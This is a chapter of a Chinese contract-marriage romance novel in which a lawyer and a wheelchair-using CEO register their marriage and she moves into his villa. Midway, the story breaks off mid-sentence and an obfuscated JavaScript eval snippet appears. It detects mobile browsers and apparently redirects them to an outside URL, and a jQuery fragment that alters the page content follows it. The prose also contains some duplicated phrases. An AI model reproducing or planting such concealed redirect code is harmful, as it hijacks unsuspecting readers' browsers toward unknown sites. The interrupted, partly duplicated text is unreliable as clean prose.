民政局门口栽着两排梧桐，十月的风掠过树梢，金黄的叶子扑簌簌地落了一地。许星艺弯腰下车时，一片梧桐叶打着旋儿落在她发间。
“别动。”林允川的声音落在耳畔。轮椅碾过落叶发出细碎的声响，他靠近时带起一阵清冽的雪松香气。他的指尖轻轻拂过她的发丝，取下那片叶子，他伸手取下那片梧桐叶，修剪整齐的指甲在阳光下泛着健康的光泽。许星艺注意到他今天换了新的袖扣，黑玛瑙材质，与她公文包上的搭扣莫名相配。
“紧张？”他将梧桐叶夹进放进西装上衣口袋，假装漫不经心地问。
许星艺抿了抿下唇，指尖在白衬衫下摆攥出几道细褶：“流程应该比诉讼程序简，林总......”她突然想起什么似的改口，“允川，你难道不紧张？”
林允川侧过脸看她。阳光透过梧桐枝叶，在他轮廓分明的脸上投下斑驳的光影。他今天特意修了眉形，唇色也比往日红润，像是抹了极淡的润色唇膏。
“紧张啊。”他低笑一声，转动轮椅往前，“毕竟是第一次结婚......”顿了顿，又补了一句，“虽然是假的。”
许星艺突然蹲下身与他平视：“那巧了，我也是第一次。”她眼睛弯成月牙，“希望我们合作愉快”
这个突如其来的动作让林允川呼吸一滞。她今天化了淡妆，睫毛在眼下投出扇形的阴影，蜜桃色的唇彩随着说话时隐时现。他忽然注意到她左眼角有颗极小的泪痣，像不小心溅落的墨点。
他倾身向前，声音压得极低，“你蹲着的姿势，很像在哄小朋友。”
许星艺立刻站起身，却因为动作太急差点绊倒。林允川迅速伸手扶住她的手腕，掌心相贴的瞬间，两人都愣了一下。
“小心。”他松开手时，指尖在她脉搏处若有似无地划过，“还没领证就受伤，传出去别人要说我家暴。”
许星艺突然敛去笑意，目光沉静地望进他眼底：“那你会吗？”她的声音很轻，却带着法庭质证时的认真，“作为当事人，我有权了解潜在风险。”
林允川垂眸看向自己踏板上的腿。“许律师，”他拍了拍身下的轮椅敲了敲扶手，发出沉闷的声响，“或许应该考虑会不会被家暴的人……是我..."抬眼的瞬间，墨色的眸光微微闪动。
走进民政局大厅，空调的暖风扑面而来。取号机旁摆着"今日剩余号源：47"的电子屏，许星艺小声嘀咕：“看来今天结婚的人不多。”
林允川操控轮椅靠近取号机：“正好，不用排队。”他伸手按下取号键，袖口露出半截银色腕表，表盘在灯光下泛着冷冽的光泽。
“两位是自愿结婚吗？”窗口的工作人员例行公事地问。
许星艺刚要开口，林允川突然握住她的手：“当然。”他的拇指在她虎口处轻轻摩挲，“追了三个月才答应。”
工作人员抬头看了眼轮椅，又看看他们交握的手，露出恍然大悟的表情：“啊，恭喜恭喜！现在年轻人感情真好啊。”
许星艺差点被口水呛到。走出几步才压低声音问：“三个月？林总编故事都不用打草稿？”
“契约第七条。”林允川面不改色，“对外需要保持合理程度的亲密互动。”他忽然凑近，"还是说，许律师希望我讲实话？比如某个律师为了——"
“停！”许星艺一把捂住他的嘴，掌心触到他上扬的唇角时像被烫到般缩回手。她没注意到身后玻璃窗倒影里，自己红透的耳根和某人得逞的笑意。
因为没有提前拍登记照，他们只能使用民政局的自拍服务。摄影棚里贴着大红色的喜字贴纸，三脚架上的相机看起来有些年头了。
“不新郎再往新娘那边靠一点！"摄影师举着反光板指挥，“对，就这样......新娘别僵着呀，笑一笑！”
许星艺感觉后背已经沁出薄汗。她小心翼翼地往林允川那边挪了半步，西装面料擦过她裸露的小臂，激起一阵细微的战栗。
“星星。”林允川突然这样叫她，声音轻得只有她能听见，“协议里虽然没说要演恩爱夫妻......”他伸手替她整理鬓角的碎发，指尖若有若无地蹭过她的太阳穴，“但结婚证照片，总得看起来像真的。”
他今天喷了香水，后调是温暖的广藿香，随着动作丝丝缕缕地缠绕过来。“我尽量。”她深呼一口气，将手轻轻搭在他的轮椅扶手上。金属的凉意透过掌心传来，却莫名让她安定下来。
“完美！保持这个表情！"摄影师按下快门的瞬间——他笑的温润如玉，而她笑得腼腆拘谨，背后是民政局鲜红的背景布，像一场精心设计的偶遇。
因为手续简化，不到二十分钟他们就拿到了结婚证。钢印压下去的瞬间，许星艺听见清晰的"咔嗒"声。
“恭喜二位！”工作人员笑着递过两本红彤彤的证件。
这声祝福像一滴水落入湖心。林允川接过结婚证时，指尖几不可察地颤了一下。他望着证件上并排的两个名字，忽然想起今晨特意换上的新衬衫与新西服，想起助理欲言又止的表情，想起出门时特地带在身上的平安符——原来潜意识里，他竟把今天当成了真正的仪式。
许星艺轻轻摩挲着证件封面，烫金的国徽在灯光下闪闪发亮。钢印的凹痕清晰可见，仿佛烙进纸页里的承诺。她忽然有种不真实感——就这么……结婚了？
“后悔了？”林允川问得随意，喉结却悄悄滚动。
她摇头时，发梢扫过结婚证封面，荡起一阵淡淡的香气：“就是觉得......有些突然，不太真实”她突然笑起来，“原来结婚真的只要九块钱。”
林允川望着她笑出的梨涡，忽然伸手覆住她捏着证件的手。他掌心的茧摩挲着她光滑的手背，像在确认某种真实感。
“协议今天生效。”他声音低沉，目光落在她空荡荡的无名指上，“但一年后......”轮椅轻轻转向出口，“也你可以随时终止。”
阳光穿过旋转门的玻璃，在他们之间划出一道晃眼的光带。许星艺突然按住他的轮椅，弯腰平视他的眼睛：“那这一年......”她的呼吸扫过他紧绷的下颌线，”请多指教了，我的丈夫先生。”
结婚证在她包里发出轻微的碰撞声，像法庭上法官落下的法槌——一锤定音，不容反悔。
走出民政局时，梧桐叶又落了一地。林允川突然从西装内袋取出一个丝绒盒子：“差点忘了。”
盒子里是对戒，女戒镶着碎钻，在阳光下像坠落的星屑。
“契约第九条。”他取出那枚戒指递给她，“必要的道具，我是估摸着买的，应该合适。”
许星艺接过戒指时，她突然抬头：“那你的呢？”
林允川转了转左手无名指上的素圈：“今早出门就戴上了。”他顿了顿，“做戏要做全套。”
许星艺正要把戒指戴进左手，却被他拦住：“右手。”他语气平静，“左手留给你以后......真正的婚姻。”
风突然大了，许星艺盯着他低垂的睫毛看了两秒，突然把戒指套进左手无名指：“既然是契约，就要遵守《合同法》第五十二条。”她仰起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177075|180762||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸，“林总总不能让我知法犯法吧？”
看到她把戒指戴去左手无名指时，林允川的呼吸微微一滞，他下意识握紧了轮椅手推圈，心里莫名地漏了半拍。
轿车平稳地行驶在城区的林荫道上，窗外的景色渐渐从老城区的烟火气变成了高档住宅区的静谧。许星艺望着窗外不断后退的法国梧桐，忽然意识到这不是回她家的路。
“我们这是要去哪？”她转头问道。
林允川的目光从平板电脑上移开，对视的眼睛却平静如水：“回家。”他顿了顿，补充道：“回……我们的家。”
许星艺微微蹙眉：“我以为...那得回去拿我的行李呢”
“契约第一条，同居义务。”他的手指在平板上轻点，调出一张照片递给她，“已经为你准备了客房，你要用到的都准备好了。”照片里的房间像是从家居杂志直接裁剪下来的画面——米色亚麻床品在落地窗边的阳光下泛着柔光，原木书桌上摆着新鲜的白掌，连床头阅读灯的倾斜角度都恰到好处。
轿车碾过梧桐叶的影子驶入别墅区，铸铁大门在晨曦中无声滑开。当车轮停驻在那栋灰蓝色玻璃幕墙的三层建筑前时，许星艺才发现白天的别墅白天的别墅外蓝天白云的映衬下，比昨夜多了许多生机。
“请。”林允川的轮椅碾过门厅的大理石花纹，在玄关的暖光灯带前刹住。许星艺这才注意到阴影里还蛰伏着另一架轮椅，一样的黑色，只不过看起来轮毂更新，像一匹随时准备接替的黑色战马。男人撑起身体时，衬衫下绷紧的肩胛骨划出锐利的弧度，又借助手臂把自己撑到另一辆轮椅上，他的膝盖在空中小幅度地晃了晃，像钟摆计算好的振幅。
许星艺站在玄关的阴阳交界处，看着他完成这套行云流水的动作。“这是属于我的换鞋方式。”林允川忽然抬头，睫毛在顶灯下投出栅栏状的阴影。他递来的拖鞋绒毛蓬松，标签还倔强地翘着一角。
穿过玄关，开阔的起居空间像缓缓展开的画卷。橡木地板上的天然结疤如同散落的星子，白色纱帘被穿堂风掀起时，露出隐藏式收纳墙上整齐的几何暗纹。这个家就像它的主人一样，把所有的棱角都藏在了克制的线条里。
“你的房间在二楼。”林允川指向电梯，“考虑到你可能需要独立空间，我让管家准备了一间朝南的客房。”
许星艺跟着他上了楼，推开客房的门。房间比她预想的要宽敞许多，比自己家的客厅还大，落地窗外是精心打理的花园。床上整齐地摆放着全新的寝具，书桌上甚至准备好了符合她习惯的办公用品。
“衣帽间在隔壁。"林允川停在门口，“如果有其他需要，可以告诉管家。”
许星艺将包放在沙发上，转身面对他：“林总准备得很周到。”
“协议义务。”他淡淡地说，但目光却不自觉地落在她左手的戒指上，“你可以先休息，医院来电话说，奶奶醒了，我们下午一起去看看？”虽然是征求意见，语气是毋庸置疑的肯定。
房门轻轻关上，许星艺才长长地呼出一口气。当她拉开衣柜时，发现里面已经整齐地挂着几套适合她尺码的家居服，标签都还没拆。最边上，甚至备有一套崭新的律师袍。她突然意识到自己虽正身处一场精心设计的契约中——而这个男人，似乎比她想象中要认真得多。
她低头看着手上的戒指，钻石在夕阳下闪烁着冷静的光芒，还是很恍惚的不真实感，一年的时间，这个陌生的房子将成为她的“家” 而那个仅有数面之缘，坐在轮椅上的男人，在法律意义上已经是她的丈夫。